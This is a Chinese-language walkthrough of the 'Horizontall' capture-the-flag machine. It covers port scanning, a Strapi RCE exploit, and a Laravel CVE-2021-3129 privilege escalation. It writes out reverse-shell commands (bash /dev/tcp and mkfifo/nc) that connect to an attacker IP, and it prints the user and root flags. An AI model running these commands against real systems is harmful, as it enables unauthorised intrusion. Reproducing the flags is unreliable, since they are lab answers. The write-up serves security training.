[Meachines] [Easy] Horizontall Strapi RCE+KTOR-HTTP扫描+Laravel Monolog 权限提升
字数 1196 2025-08-29 08:30:36
Horizontall 靶机渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
ip='10.10.11.105'
itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
扫描结果:
- 22/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
- 80/tcp: nginx 1.14.0 (Ubuntu)
1.2 目录爆破
echo "10.10.11.105 horizontall.htb" >> /etc/hosts
feroxbuster -u 'http://horizontall.htb'
发现关键文件:
http://horizontall.htb/js/app.c68eb462.js
2. Strapi RCE漏洞利用
2.1 发现API子域名
echo "10.10.11.105 api-prod.horizontall.htb" >> /etc/hosts
curl http://api-prod.horizontall.htb/admin/init | jq
2.2 使用公开漏洞
利用Exploit-DB上的漏洞:https://www.exploit-db.com/exploits/50239
python3 exp.py http://api-prod.horizontall.htb bash -c 'bash -i >& /dev/tcp/10.10.16.28/445 0>&1'
获取用户flag:
0985824865581079bb013f166e34e37e
3. 权限提升
3.1 Laravel Monolog RCE漏洞
利用Laravel <= v8.4.2的PHPGGC Monolog RCE漏洞
3.2 端口转发
ssh -i id_rsa -L 8000:localhost:8000 -L 1337:localhost:1337 strapi@10.10.11.105 -t /bin/bash
3.3 本地服务扫描
feroxbuster -u 'http://127.0.0.1:8000/'
3.4 利用漏洞
使用CVE-2021-3129漏洞利用脚本:
https://raw.githubusercontent.com/nth347/CVE-2021-3129_exploit/master/exploit.py
python3 exp.py http://localhost:8000 Monolog/RCE1 id
python3 exp.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.28 10032 >/tmp/f'
获取root flag:
90ed87c84901a6f1b348da73a1d57d57
4. 技术要点总结
4.1 关键漏洞
-
Strapi RCE漏洞:
- 影响版本:特定版本的Strapi CMS
- 利用方式:通过未授权访问/admin接口进行RCE
-
Laravel Monolog RCE漏洞:
- CVE编号:CVE-2021-3129
- 影响版本:Laravel <= v8.4.2
- 利用方式:通过反序列化漏洞执行任意代码
4.2 工具使用
- Masscan:快速端口扫描
- Feroxbuster:目录爆破工具
- jq:JSON数据处理工具
- SSH端口转发:用于访问内部服务
4.3 防御建议
- 及时更新Strapi和Laravel到最新版本
- 限制/admin接口的访问权限
- 禁用不必要的PHP函数
- 实施网络隔离,限制内部服务的暴露
5. 完整利用流程
- 通过Masscan和Nmap识别开放端口
- 发现Strapi CMS并利用公开漏洞获取初始访问
- 通过SSH端口转发访问内部Laravel应用
- 利用Laravel反序列化漏洞提升到root权限
6. 参考资源
- Strapi RCE漏洞详情:https://www.exploit-db.com/exploits/50239
- Laravel Monolog RCE漏洞利用脚本:https://github.com/nth347/CVE-2021-3129_exploit
- KTOR-HTTP扫描工具:https://github.com/MartinxMax/KTOR